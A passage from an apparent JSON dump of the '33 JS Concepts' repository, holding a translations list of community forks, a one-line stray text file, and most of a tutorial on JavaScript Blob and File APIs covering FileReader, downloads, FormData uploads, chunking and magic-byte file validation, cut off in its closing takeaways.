    "content": "# Translations\n\nThis project has been translated into 40+ languages thanks to our amazing community of contributors.\n\n## Available Translations\n\n- [اَلْعَرَبِيَّةُ‎ (Arabic)](https://github.com/amrsekilly/33-js-concepts) — Amr Elsekilly\n- [Български (Bulgarian)](https://github.com/thewebmasterp/33-js-concepts) — thewebmasterp\n- [汉语 (Chinese)](https://github.com/stephentian/33-js-concepts) — Re Tian\n- [Português do Brasil (Brazilian Portuguese)](https://github.com/tiagoboeing/33-js-concepts) — Tiago Boeing\n- [한국어 (Korean)](https://github.com/yjs03057/33-js-concepts.git) — Suin Lee\n- [Español (Spanish)](https://github.com/adonismendozaperez/33-js-conceptos) — Adonis Mendoza\n- [Türkçe (Turkish)](https://github.com/ilker0/33-js-concepts) — İlker Demir\n- [русский язык (Russian)](https://github.com/gumennii/33-js-concepts) — Mihail Gumennii\n- [Tiếng Việt (Vietnamese)](https://github.com/nguyentranchung/33-js-concepts) — Nguyễn Trần Chung\n- [Polski (Polish)](https://github.com/lip3k/33-js-concepts) — Dawid Lipinski\n- [فارسی (Persian)](https://github.com/majidalavizadeh/33-js-concepts) — Majid Alavizadeh\n- [Bahasa Indonesia (Indonesian)](https://github.com/rijdz/33-js-concepts) — Rijdzuan Sampoerna\n- [Français (French)](https://github.com/robinmetral/33-concepts-js) — Robin Métral\n- [हिन्दी (Hindi)](https://github.com/vikaschauhan/33-js-concepts) — Vikas Chauhan\n- [Ελληνικά (Greek)](https://github.com/DimitrisZx/33-js-concepts) — Dimitris Zarachanis\n- [日本語 (Japanese)](https://github.com/oimo23/33-js-concepts) — oimo23\n- [Deutsch (German)](https://github.com/burhannn/33-js-concepts) — burhannn\n- [украї́нська мо́ва (Ukrainian)](https://github.com/AndrewSavetchuk/33-js-concepts-ukrainian-translation) — Andrew Savetchuk\n- [සිංහල (Sinhala)](https://github.com/ududsha/33-js-concepts) — Udaya Shamendra\n- [Italiano (Italian)](https://github.com/Donearm/33-js-concepts) — Gianluca Fiore\n- [Latviešu (Latvian)](https://github.com/ANormalStick/33-js-concepts) — Jānis Īvāns\n- [Afaan Oromoo (Oromo)](https://github.com/Amandagne/33-js-concepts) — Amanuel Dagnachew\n- [ภาษาไทย (Thai)](https://github.com/ninearif/33-js-concepts) — Arif Waram\n- [Català (Catalan)](https://github.com/marioestradaf/33-js-concepts) — Mario Estrada\n- [Svenska (Swedish)](https://github.com/FenixHongell/33-js-concepts/) — Fenix Hongell\n- [ខ្មែរ (Khmer)](https://github.com/Chhunneng/33-js-concepts) — Chrea Chanchhunneng\n- [አማርኛ (Ethiopian)](https://github.com/hmhard/33-js-concepts) — Miniyahil Kebede (ምንያህል ከበደ)\n- [Беларуская мова (Belarussian)](https://github.com/Yafimau/33-js-concepts) — Dzianis Yafimau\n- [O'zbekcha (Uzbek)](https://github.com/smnv-shokh/33-js-concepts) — Shokhrukh Usmonov\n- [Urdu (اردو)](https://github.com/sudoyasir/33-js-concepts) — Yasir Nawaz\n- [हिन्दी (Hindi)](https://github.com/milostivyy/33-js-concepts) — Mahima Chauhan\n- [বাংলা (Bengali)](https://github.com/Jisan-mia/33-js-concepts) — Jisan Mia\n- [ગુજરાતી (Gujarati)](https://github.com/VatsalBhuva11/33-js-concepts) — Vatsal Bhuva\n- [سنڌي (Sindhi)](https://github.com/Sunny-unik/33-js-concepts) — Sunny Gandhwani\n- [भोजपुरी (Bhojpuri)](https://github.com/debnath003/33-js-concepts) — Pronay Debnath\n- [ਪੰਜਾਬੀ (Punjabi)](https://github.com/Harshdev098/33-js-concepts) — Harsh Dev Pathak\n- [Latin (Latin)](https://github.com/Harshdev098/33-js-concepts) — Harsh Dev Pathak\n- [മലയാളം (Malayalam)](https://github.com/Stark-Akshay/33-js-concepts) — Akshay Manoj\n- [Yorùbá (Yoruba)](https://github.com/ayobaj/33-js-concepts) — Ayomide Bajulaye\n- [עברית‎ (Hebrew)](https://github.com/rafyzg/33-js-concepts) — Refael Yzgea\n- [Nederlands (Dutch)](https://github.com/dlvisser/33-js-concepts) — Dave Visser\n- [தமிழ் (Tamil)](https://github.com/UdayaKrishnanM/33-js-concepts) — Udaya Krishnan M\n\n---\n\n## Want to Translate?\n\nWe'd love to have more translations! See our [Contributing Guidelines](CONTRIBUTING.md) for details on how to submit a translation.\n"
  },
  {
    "path": "docs/5c8wamucvfketshf1eyrw254gz94jwre.txt",
    "content": "5c8wamucvfketshf1eyrw254gz94jwre"
  },
  {
    "path": "docs/beyond/concepts/blob-file-api.mdx",
    "content": "---\ntitle: \"Blob & File API in JavaScript\"\nsidebarTitle: \"Blob & File API\"\ndescription: \"Learn JavaScript Blob and File APIs for binary data. Create, read, and manipulate files, handle uploads, generate downloads, and work with FileReader.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Data Handling\"\n\"article:tag\": \"blob file api, file upload, filereader, binary data, file download, file handling\"\n---\n\nHow do you let users upload images? How do you create a downloadable file from data generated in JavaScript? How can you read the contents of a file the user selected?\n\nThe **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** and **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** APIs are JavaScript's tools for working with binary data. They power everything from profile picture uploads to CSV exports to image processing in the browser.\n\n```javascript\n// Create a text file and download it\nconst content = 'Hello, World!'\nconst blob = new Blob([content], { type: 'text/plain' })\nconst url = URL.createObjectURL(blob)\n\nconst link = document.createElement('a')\nlink.href = url\nlink.download = 'hello.txt'\nlink.click()\n\nURL.revokeObjectURL(url)  // Clean up memory\n```\n\nUnderstanding these APIs unlocks powerful client-side file handling without needing a server.\n\n<Info>\n**What you'll learn in this guide:**\n- What Blobs are and how to create them from strings, arrays, and other data\n- How the File interface extends Blob for user-selected files\n- Reading file contents with FileReader (text, data URLs, ArrayBuffers)\n- Creating downloadable files with Blob URLs\n- Uploading files with FormData\n- Slicing large files for chunked uploads\n- Converting between Blobs, ArrayBuffers, and Data URLs\n</Info>\n\n<Warning>\n**Prerequisites:** This guide assumes you understand [Promises](/concepts/promises) and [async/await](/concepts/async-await). If you're not familiar with those concepts, read those guides first. You should also be comfortable with basic DOM manipulation.\n</Warning>\n\n---\n\n## What is a Blob in JavaScript?\n\nA **[Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob)** (Binary Large Object) is an immutable, file-like object that represents raw binary data. According to the [W3C File API specification](https://www.w3.org/TR/FileAPI/#blob-section), a Blob is a container that can hold any kind of data: text, images, audio, video, or arbitrary bytes. Blobs are the foundation for file handling in JavaScript, as the File interface is built on top of Blob.\n\nUnlike regular JavaScript strings or arrays, Blobs are designed to efficiently handle large amounts of binary data. As [MDN documents](https://developer.mozilla.org/en-US/docs/Web/API/Blob), they're immutable — once created, you can't change their contents. Instead, you create new Blobs from existing ones.\n\n```javascript\n// Creating Blobs from different data types\nconst textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })\nconst jsonBlob = new Blob([JSON.stringify({ name: 'Alice' })], { type: 'application/json' })\nconst htmlBlob = new Blob(['<h1>Title</h1>'], { type: 'text/html' })\n\nconsole.log(textBlob.size)  // 13 (bytes)\nconsole.log(textBlob.type)  // \"text/plain\"\n```\n\n---\n\n## The Filing Cabinet Analogy\n\nImagine a filing cabinet in an office. The cabinet (Blob) holds documents, but you can't read them just by looking at the cabinet. You need to open it and take out the contents.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       BLOB: THE FILING CABINET                           │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   ┌────────────────┐                                                     │\n│   │                │   Blob Properties:                                  │\n│   │  ┌──────────┐  │   • size: how many bytes (papers) inside           │\n│   │  │ [data]   │  │   • type: what kind of content (MIME type)         │\n│   │  │ [data]   │  │                                                     │\n│   │  │ [data]   │  │   To read the contents, you need:                  │\n│   │  └──────────┘  │   • FileReader (opens and reads)                   │\n│   │                │   • blob.text() / blob.arrayBuffer() (async)       │\n│   │   📁 BLOB      │   • URL.createObjectURL() (creates a link)         │\n│   └────────────────┘                                                     │\n│                                                                          │\n│   You can't change papers inside, but you can:                           │\n│   • Create a new cabinet with different papers (new Blob)               │\n│   • Take a portion of papers (blob.slice())                             │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\nThe key insight: **Blobs store data but don't expose it directly**. You need tools like [FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader) or Blob methods to access the contents.\n\n---\n\n## Creating Blobs\n\nThe [`Blob()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/Blob/Blob) takes two arguments: an array of data parts and an options object.\n\n### Basic Blob Creation\n\n```javascript\n// Syntax: new Blob(blobParts, options)\n\n// From a string\nconst textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })\n\n// From multiple strings (they're concatenated)\nconst multiBlob = new Blob(['Hello, ', 'World!'], { type: 'text/plain' })\n\n// From JSON data\nconst user = { name: 'Alice', age: 30 }\nconst jsonBlob = new Blob(\n  [JSON.stringify(user, null, 2)], \n  { type: 'application/json' }\n)\n\n// From HTML\nconst htmlBlob = new Blob(\n  ['<!DOCTYPE html><html><body><h1>Hello</h1></body></html>'],\n  { type: 'text/html' }\n)\n```\n\n### From Typed Arrays and ArrayBuffers\n\nBlobs can also be created from binary data like [Typed Arrays](/beyond/concepts/typed-arrays-arraybuffers):\n\n```javascript\n// From a Uint8Array\nconst bytes = new Uint8Array([72, 101, 108, 108, 111])  // \"Hello\" in ASCII\nconst binaryBlob = new Blob([bytes], { type: 'application/octet-stream' })\n\n// From an ArrayBuffer\nconst buffer = new ArrayBuffer(8)\nconst view = new DataView(buffer)\nview.setFloat64(0, Math.PI)\nconst bufferBlob = new Blob([buffer])\n\n// Combining different data types\nconst mixedBlob = new Blob([\n  'Header: ',\n  bytes,\n  '\\nFooter'\n], { type: 'text/plain' })\n```\n\n### Blob Properties\n\nEvery Blob has two read-only properties:\n\n| Property | Description | Example |\n|----------|-------------|---------|\n| `size` | Size in bytes | `blob.size` returns `13` for \"Hello, World!\" |\n| `type` | MIME type string | `blob.type` returns `\"text/plain\"` |\n\n```javascript\nconst blob = new Blob(['Hello, World!'], { type: 'text/plain' })\nconsole.log(blob.size)  // 13\nconsole.log(blob.type)  // \"text/plain\"\n```\n\n---\n\n## The File Interface\n\nThe **[File](https://developer.mozilla.org/en-US/docs/Web/API/File)** interface extends Blob, adding properties specific to files from the user's system. When users select files through `<input type=\"file\">` or drag-and-drop, you get File objects.\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                         FILE EXTENDS BLOB                                │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│   ┌─────────────────────────────────────────────────────────────────┐   │\n│   │                           BLOB                                   │   │\n│   │   • size (bytes)                                                 │   │\n│   │   • type (MIME type)                                             │   │\n│   │   • slice(), text(), arrayBuffer(), stream()                     │   │\n│   │                                                                  │   │\n│   │   ┌─────────────────────────────────────────────────────────┐   │   │\n│   │   │                        FILE                              │   │   │\n│   │   │   + name (filename with extension)                       │   │   │\n│   │   │   + lastModified (timestamp)                             │   │   │\n│   │   │   + webkitRelativePath (for directory uploads)           │   │   │\n│   │   └─────────────────────────────────────────────────────────┘   │   │\n│   └─────────────────────────────────────────────────────────────────┘   │\n│                                                                          │\n│   File inherits everything from Blob, plus file-specific metadata.       │\n│   Any API that accepts Blob also accepts File.                           │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n### Getting Files from User Input\n\nThe most common way to get File objects is from an `<input type=\"file\">` element:\n\n```javascript\n// HTML: <input type=\"file\" id=\"fileInput\" multiple>\n\nconst fileInput = document.getElementById('fileInput')\n\nfileInput.addEventListener('change', (event) => {\n  const files = event.target.files  // FileList object\n  \n  for (const file of files) {\n    console.log('Name:', file.name)           // \"photo.jpg\"\n    console.log('Size:', file.size)           // 1024000 (bytes)\n    console.log('Type:', file.type)           // \"image/jpeg\"\n    console.log('Modified:', file.lastModified)  // 1704067200000 (timestamp)\n    console.log('Modified Date:', new Date(file.lastModified))\n  }\n})\n```\n\n### Creating File Objects Programmatically\n\nYou can create File objects directly with the [`File()` constructor](https://developer.mozilla.org/en-US/docs/Web/API/File/File):\n\n```javascript\n// Syntax: new File(fileBits, fileName, options)\n\nconst file = new File(\n  ['Hello, World!'],          // Content (same as Blob)\n  'greeting.txt',             // Filename\n  { \n    type: 'text/plain',       // MIME type\n    lastModified: Date.now()  // Optional timestamp\n  }\n)\n\nconsole.log(file.name)  // \"greeting.txt\"\nconsole.log(file.size)  // 13\nconsole.log(file.type)  // \"text/plain\"\n```\n\n### Drag and Drop Files\n\nFiles can also come from drag-and-drop operations:\n\n```javascript\nconst dropZone = document.getElementById('dropZone')\n\ndropZone.addEventListener('dragover', (e) => {\n  e.preventDefault()  // Required to allow drop\n  dropZone.classList.add('drag-over')\n})\n\ndropZone.addEventListener('dragleave', () => {\n  dropZone.classList.remove('drag-over')\n})\n\ndropZone.addEventListener('drop', (e) => {\n  e.preventDefault()\n  dropZone.classList.remove('drag-over')\n  \n  const files = e.dataTransfer.files  // FileList\n  \n  for (const file of files) {\n    console.log('Dropped:', file.name, file.type)\n  }\n})\n```\n\n---\n\n## Reading Files with FileReader\n\n**[FileReader](https://developer.mozilla.org/en-US/docs/Web/API/FileReader)** is an asynchronous API for reading Blob and File contents. It provides different methods depending on how you want the data:\n\n| Method | Returns | Use Case |\n|--------|---------|----------|\n| `readAsText(blob)` | String | Text files, JSON, CSV |\n| `readAsDataURL(blob)` | Data URL string | Image previews, embedding |\n| `readAsArrayBuffer(blob)` | ArrayBuffer | Binary processing |\n| `readAsBinaryString(blob)` | Binary string | Legacy (deprecated) |\n\n### Reading Text Content\n\n```javascript\nfunction readTextFile(file) {\n  return new Promise((resolve, reject) => {\n    const reader = new FileReader()\n    \n    reader.onload = () => resolve(reader.result)\n    reader.onerror = () => reject(reader.error)\n    \n    reader.readAsText(file)\n  })\n}\n\n// Usage with file input\nfileInput.addEventListener('change', async (e) => {\n  const file = e.target.files[0]\n  \n  if (file.type === 'text/plain' || file.name.endsWith('.txt')) {\n    const content = await readTextFile(file)\n    console.log(content)\n  }\n})\n```\n\n### Reading as Data URL (for Image Previews)\n\nA [Data URL](https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs) is a string that contains the file data encoded as base64. It can be used directly as an `src` attribute for images:\n\n```javascript\nfunction readAsDataURL(file) {\n  return new Promise((resolve, reject) => {\n    const reader = new FileReader()\n    \n    reader.onload = () => resolve(reader.result)\n    reader.onerror = () => reject(reader.error)\n    \n    reader.readAsDataURL(file)\n  })\n}\n\n// Image preview example\nconst imageInput = document.getElementById('imageInput')\nconst preview = document.getElementById('preview')\n\nimageInput.addEventListener('change', async (e) => {\n  const file = e.target.files[0]\n  \n  if (file && file.type.startsWith('image/')) {\n    const dataUrl = await readAsDataURL(file)\n    preview.src = dataUrl  // Display the image\n    // dataUrl looks like: \"data:image/jpeg;base64,/9j/4AAQSkZJRg...\"\n  }\n})\n```\n\n### Reading as ArrayBuffer\n\nFor binary processing, read the file as an [ArrayBuffer](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer):\n\n```javascript\nfunction readAsArrayBuffer(file) {\n  return new Promise((resolve, reject) => {\n    const reader = new FileReader()\n    \n    reader.onload = () => resolve(reader.result)\n    reader.onerror = () => reject(reader.error)\n    \n    reader.readAsArrayBuffer(file)\n  })\n}\n\n// Example: Check if a file is a PNG image by reading magic bytes\nasync function isPNG(file) {\n  const buffer = await readAsArrayBuffer(file.slice(0, 8))\n  const bytes = new Uint8Array(buffer)\n  \n  // PNG magic number: 137 80 78 71 13 10 26 10\n  const pngSignature = [137, 80, 78, 71, 13, 10, 26, 10]\n  \n  return pngSignature.every((byte, i) => bytes[i] === byte)\n}\n```\n\n### FileReader Events\n\nFileReader provides several events for monitoring the reading process:\n\n```javascript\nconst reader = new FileReader()\n\nreader.onloadstart = () => console.log('Started reading')\nreader.onprogress = (e) => {\n  if (e.lengthComputable) {\n    const percent = (e.loaded / e.total) * 100\n    console.log(`Progress: ${percent.toFixed(1)}%`)\n  }\n}\nreader.onload = () => console.log('Read complete:', reader.result)\nreader.onerror = () => console.error('Error:', reader.error)\nreader.onloadend = () => console.log('Finished (success or failure)')\n\nreader.readAsText(file)\n```\n\n---\n\n## Modern Blob Methods\n\nModern browsers support Promise-based methods directly on Blob objects, which are often cleaner than FileReader:\n\n```javascript\nconst blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n\n// Read as text (Promise-based)\nconst text = await blob.text()\nconsole.log(text)  // \"Hello, World!\"\n\n// Read as ArrayBuffer\nconst buffer = await blob.arrayBuffer()\nconsole.log(new Uint8Array(buffer))  // Uint8Array [72, 101, ...]\n\n// Read as stream (for large files)\nconst stream = blob.stream()\nconst reader = stream.getReader()\n\nwhile (true) {\n  const { done, value } = await reader.read()\n  if (done) break\n  console.log('Chunk:', value)  // Uint8Array chunks\n}\n```\n\n<Tip>\n**When to use what:** For simple reads, use `blob.text()` or `blob.arrayBuffer()`. For large files where you want to process data as it streams, use `blob.stream()`. Use FileReader when you need progress events or Data URLs.\n</Tip>\n\n---\n\n## Creating Downloadable Files\n\nOne of the most useful Blob applications is generating downloadable files in the browser. The key is [`URL.createObjectURL()`](https://developer.mozilla.org/en-US/docs/Web/API/URL/createObjectURL_static).\n\n### Basic Download\n\n```javascript\nfunction downloadBlob(blob, filename) {\n  // Create a URL pointing to the blob\n  const url = URL.createObjectURL(blob)\n  \n  // Create a temporary link element\n  const link = document.createElement('a')\n  link.href = url\n  link.download = filename  // Suggested filename\n  \n  // Trigger the download\n  document.body.appendChild(link)\n  link.click()\n  document.body.removeChild(link)\n  \n  // Clean up the URL (free memory)\n  URL.revokeObjectURL(url)\n}\n\n// Download a text file\nconst textBlob = new Blob(['Hello, World!'], { type: 'text/plain' })\ndownloadBlob(textBlob, 'greeting.txt')\n\n// Download JSON data\nconst data = { users: [{ name: 'Alice' }, { name: 'Bob' }] }\nconst jsonBlob = new Blob(\n  [JSON.stringify(data, null, 2)], \n  { type: 'application/json' }\n)\ndownloadBlob(jsonBlob, 'users.json')\n```\n\n### Export Table Data as CSV\n\n```javascript\nfunction tableToCSV(tableData, headers) {\n  const rows = [\n    headers.join(','),\n    ...tableData.map(row => \n      row.map(cell => `\"${cell}\"`).join(',')\n    )\n  ]\n  \n  return rows.join('\\n')\n}\n\nfunction downloadCSV(tableData, headers, filename) {\n  const csv = tableToCSV(tableData, headers)\n  const blob = new Blob([csv], { type: 'text/csv' })\n  downloadBlob(blob, filename)\n}\n\n// Usage\nconst headers = ['Name', 'Email', 'Role']\nconst data = [\n  ['Alice', 'alice@example.com', 'Admin'],\n  ['Bob', 'bob@example.com', 'User']\n]\n\ndownloadCSV(data, headers, 'users.csv')\n```\n\n### Memory Management with Object URLs\n\n<Warning>\n**Memory Leak Risk:** Every `URL.createObjectURL()` call allocates memory that isn't automatically freed. Always call `URL.revokeObjectURL()` when you're done with the URL, or you'll leak memory.\n</Warning>\n\n```javascript\n// ❌ WRONG - Memory leak!\nfunction displayImage(blob) {\n  const url = URL.createObjectURL(blob)\n  img.src = url\n  // URL is never revoked, memory is leaked\n}\n\n// ✓ CORRECT - Clean up after use\nfunction displayImage(blob) {\n  const url = URL.createObjectURL(blob)\n  img.src = url\n  \n  img.onload = () => {\n    URL.revokeObjectURL(url)  // Free memory after image loads\n  }\n}\n\n// ✓ CORRECT - Clean up previous URL before creating new one\nlet currentUrl = null\n\nfunction displayImage(blob) {\n  if (currentUrl) {\n    URL.revokeObjectURL(currentUrl)\n  }\n  \n  currentUrl = URL.createObjectURL(blob)\n  img.src = currentUrl\n}\n```\n\n---\n\n## Uploading Files\n\n### Using FormData\n\nThe most common way to upload files is with [FormData](https://developer.mozilla.org/en-US/docs/Web/API/FormData):\n\n```javascript\nasync function uploadFile(file) {\n  const formData = new FormData()\n  formData.append('file', file)\n  formData.append('description', 'My uploaded file')\n  \n  const response = await fetch('/api/upload', {\n    method: 'POST',\n    body: formData\n    // Don't set Content-Type header - browser sets it with boundary\n  })\n  \n  if (!response.ok) {\n    throw new Error(`Upload failed: ${response.status}`)\n  }\n  \n  return response.json()\n}\n\n// With file input\nfileInput.addEventListener('change', async (e) => {\n  const file = e.target.files[0]\n  \n  try {\n    const result = await uploadFile(file)\n    console.log('Uploaded:', result)\n  } catch (error) {\n    console.error('Upload error:', error)\n  }\n})\n```\n\n### Uploading Multiple Files\n\n```javascript\nasync function uploadMultipleFiles(files) {\n  const formData = new FormData()\n  \n  for (const file of files) {\n    formData.append('files', file)  // Same key for multiple files\n  }\n  \n  const response = await fetch('/api/upload-multiple', {\n    method: 'POST',\n    body: formData\n  })\n  \n  return response.json()\n}\n```\n\n### Upload with Progress\n\nFor large files, show upload progress:\n\n```javascript\nfunction uploadWithProgress(file, onProgress) {\n  return new Promise((resolve, reject) => {\n    const xhr = new XMLHttpRequest()\n    const formData = new FormData()\n    formData.append('file', file)\n    \n    xhr.upload.addEventListener('progress', (e) => {\n      if (e.lengthComputable) {\n        const percent = (e.loaded / e.total) * 100\n        onProgress(percent)\n      }\n    })\n    \n    xhr.addEventListener('load', () => {\n      if (xhr.status >= 200 && xhr.status < 300) {\n        resolve(JSON.parse(xhr.responseText))\n      } else {\n        reject(new Error(`Upload failed: ${xhr.status}`))\n      }\n    })\n    \n    xhr.addEventListener('error', () => reject(new Error('Network error')))\n    \n    xhr.open('POST', '/api/upload')\n    xhr.send(formData)\n  })\n}\n\n// Usage\nuploadWithProgress(file, (percent) => {\n  progressBar.style.width = `${percent}%`\n  progressText.textContent = `${percent.toFixed(0)}%`\n})\n```\n\n---\n\n## Slicing Blobs\n\nThe [`slice()`](https://developer.mozilla.org/en-US/docs/Web/API/Blob/slice) method creates a new Blob containing a portion of the original:\n\n```javascript\nconst blob = new Blob(['Hello, World!'], { type: 'text/plain' })\n\n// Syntax: blob.slice(start, end, contentType)\nconst firstFive = blob.slice(0, 5)           // \"Hello\"\nconst lastSix = blob.slice(-6)               // \"World!\"\nconst middle = blob.slice(7, 12)             // \"World\"\nconst withNewType = blob.slice(0, 5, 'text/html')  // Change MIME type\n\n// Read the sliced content\nconsole.log(await firstFive.text())  // \"Hello\"\n```\n\n### Chunked File Upload\n\nFor very large files, split them into chunks:\n\n```javascript\nasync function uploadInChunks(file, chunkSize = 1024 * 1024) {  // 1MB chunks\n  const totalChunks = Math.ceil(file.size / chunkSize)\n  \n  for (let i = 0; i < totalChunks; i++) {\n    const start = i * chunkSize\n    const end = Math.min(start + chunkSize, file.size)\n    const chunk = file.slice(start, end)\n    \n    const formData = new FormData()\n    formData.append('chunk', chunk)\n    formData.append('chunkIndex', i)\n    formData.append('totalChunks', totalChunks)\n    formData.append('filename', file.name)\n    \n    await fetch('/api/upload-chunk', {\n      method: 'POST',\n      body: formData\n    })\n    \n    console.log(`Uploaded chunk ${i + 1}/${totalChunks}`)\n  }\n}\n```\n\n### Reading Large Files in Chunks\n\nFor processing large files without loading everything into memory:\n\n```javascript\nasync function processLargeFile(file, chunkSize = 1024 * 1024) {\n  let offset = 0\n  \n  while (offset < file.size) {\n    const chunk = file.slice(offset, offset + chunkSize)\n    const content = await chunk.text()\n    \n    // Process this chunk\n    processChunk(content)\n    \n    offset += chunkSize\n    console.log(`Processed ${Math.min(offset, file.size)} / ${file.size} bytes`)\n  }\n}\n```\n\n---\n\n## Converting Between Formats\n\n### Blob to Data URL\n\n```javascript\n// Using FileReader\nfunction blobToDataURL(blob) {\n  return new Promise((resolve, reject) => {\n    const reader = new FileReader()\n    reader.onload = () => resolve(reader.result)\n    reader.onerror = reject\n    reader.readAsDataURL(blob)\n  })\n}\n\n// Usage\nconst blob = new Blob(['Hello'], { type: 'text/plain' })\nconst dataUrl = await blobToDataURL(blob)\n// \"data:text/plain;base64,SGVsbG8=\"\n```\n\n### Data URL to Blob\n\n```javascript\nfunction dataURLtoBlob(dataUrl) {\n  const [header, base64Data] = dataUrl.split(',')\n  const mimeType = header.match(/:(.*?);/)[1]\n  const binaryString = atob(base64Data)\n  const bytes = new Uint8Array(binaryString.length)\n  \n  for (let i = 0; i < binaryString.length; i++) {\n    bytes[i] = binaryString.charCodeAt(i)\n  }\n  \n  return new Blob([bytes], { type: mimeType })\n}\n\n// Usage\nconst dataUrl = 'data:text/plain;base64,SGVsbG8='\nconst blob = dataURLtoBlob(dataUrl)\nconsole.log(await blob.text())  // \"Hello\"\n```\n\n### Blob to ArrayBuffer and Back\n\n```javascript\n// Blob to ArrayBuffer\nconst blob = new Blob(['Hello'])\nconst buffer = await blob.arrayBuffer()\n\n// ArrayBuffer to Blob\nconst newBlob = new Blob([buffer])\n```\n\n### Canvas to Blob\n\n```javascript\n// Get a canvas element\nconst canvas = document.getElementById('myCanvas')\n\n// Convert to Blob (async)\ncanvas.toBlob((blob) => {\n  // blob is now a Blob with image data\n  downloadBlob(blob, 'canvas-image.png')\n}, 'image/png', 0.9)  // format, quality\n\n// Or with a Promise wrapper\nfunction canvasToBlob(canvas, type = 'image/png', quality = 0.9) {\n  return new Promise((resolve) => {\n    canvas.toBlob(resolve, type, quality)\n  })\n}\n```\n\n---\n\n## Common Mistakes\n\n### The #1 Blob Mistake: Forgetting to Revoke URLs\n\n```javascript\n// ❌ WRONG - Creates memory leak\nfunction previewImages(files) {\n  for (const file of files) {\n    const img = document.createElement('img')\n    img.src = URL.createObjectURL(file)  // Never revoked!\n    gallery.appendChild(img)\n  }\n}\n\n// ✓ CORRECT - Revoke after image loads\nfunction previewImages(files) {\n  for (const file of files) {\n    const img = document.createElement('img')\n    const url = URL.createObjectURL(file)\n    \n    img.onload = () => URL.revokeObjectURL(url)\n    img.src = url\n    gallery.appendChild(img)\n  }\n}\n```\n\n### Setting Content-Type with FormData\n\n```javascript\n// ❌ WRONG - Don't set Content-Type for FormData\nconst formData = new FormData()\nformData.append('file', file)\n\nfetch('/api/upload', {\n  method: 'POST',\n  headers: {\n    'Content-Type': 'multipart/form-data'  // Wrong! Missing boundary\n  },\n  body: formData\n})\n\n// ✓ CORRECT - Let browser set Content-Type with boundary\nfetch('/api/upload', {\n  method: 'POST',\n  // No Content-Type header - browser handles it\n  body: formData\n})\n```\n\n### Not Validating File Types\n\n```javascript\n// ❌ WRONG - Trusting file extension\nif (file.name.endsWith('.jpg')) {\n  // User could rename any file to .jpg\n}\n\n// ✓ BETTER - Check MIME type\nif (file.type.startsWith('image/')) {\n  // More reliable, but can still be spoofed\n}\n\n// ✓ BEST - Validate magic bytes for critical applications\nasync function isValidJPEG(file) {\n  const buffer = await file.slice(0, 3).arrayBuffer()\n  const bytes = new Uint8Array(buffer)\n  // JPEG magic number: FF D8 FF\n  return bytes[0] === 0xFF && bytes[1] === 0xD8 && bytes[2] === 0xFF\n}\n```\n\n---\n\n## Real-World Patterns\n\n### Image Compression Before Upload\n\n```javascript\nasync function compressImage(file, maxWidth = 1200, quality = 0.8) {\n  // Create an image element\n  const img = new Image()\n  const url = URL.createObjectURL(file)\n  \n  await new Promise((resolve, reject) => {\n    img.onload = resolve\n    img.onerror = reject\n    img.src = url\n  })\n  \n  URL.revokeObjectURL(url)\n  \n  // Calculate new dimensions\n  let { width, height } = img\n  if (width > maxWidth) {\n    height = (height * maxWidth) / width\n    width = maxWidth\n  }\n  \n  // Draw to canvas\n  const canvas = document.createElement('canvas')\n  canvas.width = width\n  canvas.height = height\n  \n  const ctx = canvas.getContext('2d')\n  ctx.drawImage(img, 0, 0, width, height)\n  \n  // Convert back to blob\n  return new Promise((resolve) => {\n    canvas.toBlob(resolve, 'image/jpeg', quality)\n  })\n}\n\n// Usage\nconst compressed = await compressImage(originalFile)\nconsole.log(`Original: ${originalFile.size}, Compressed: ${compressed.size}`)\n```\n\n### File Type Validation\n\n```javascript\nconst ALLOWED_TYPES = {\n  'image/jpeg': [0xFF, 0xD8, 0xFF],\n  'image/png': [0x89, 0x50, 0x4E, 0x47],\n  'image/gif': [0x47, 0x49, 0x46],\n  'application/pdf': [0x25, 0x50, 0x44, 0x46]\n}\n\nasync function validateFileType(file) {\n  const maxSignatureLength = Math.max(\n    ...Object.values(ALLOWED_TYPES).map(sig => sig.length)\n  )\n  \n  const buffer = await file.slice(0, maxSignatureLength).arrayBuffer()\n  const bytes = new Uint8Array(buffer)\n  \n  for (const [mimeType, signature] of Object.entries(ALLOWED_TYPES)) {\n    if (signature.every((byte, i) => bytes[i] === byte)) {\n      return { valid: true, detectedType: mimeType }\n    }\n  }\n  \n  return { valid: false, detectedType: null }\n}\n```\n\n### Copy/Paste Image Handling\n\n```javascript\ndocument.addEventListener('paste', async (e) => {\n  const items = e.clipboardData?.items\n  if (!items) return\n  \n  for (const item of items) {\n    if (item.type.startsWith('image/')) {\n      const file = item.getAsFile()\n      \n      // Preview the pasted image\n      const url = URL.createObjectURL(file)\n      const img = document.createElement('img')\n      img.onload = () => URL.revokeObjectURL(url)\n      img.src = url\n      pasteTarget.appendChild(img)\n    }\n  }\n})\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember about Blob and File APIs:**\n\n1. **Blob is a container for binary data** — It stores raw bytes with a MIME type but doesn't expose contents directly. Use FileReader or Blob methods to read data.\n\n2. **File extends Blob** — File adds `name`, `lastModified`, and other metadata. Any API accepting Blob also accepts File.\n\n3. **FileReader is asynchronous** — Use `readAsText()`, `readAsDataURL()`, or `readAsArrayBuffer()` depending on your needs. Prefer `blob.text()` and `blob.arrayBuffer()` for simpler code.\n\n4. **Object URLs need cleanup** — Always call `URL.revokeObjectURL()` after using `URL.createObjectURL()` to avoid memory leaks.\n\n5. **Don't set Content-Type for FormData uploads** — The browser automatically sets the correct multipart 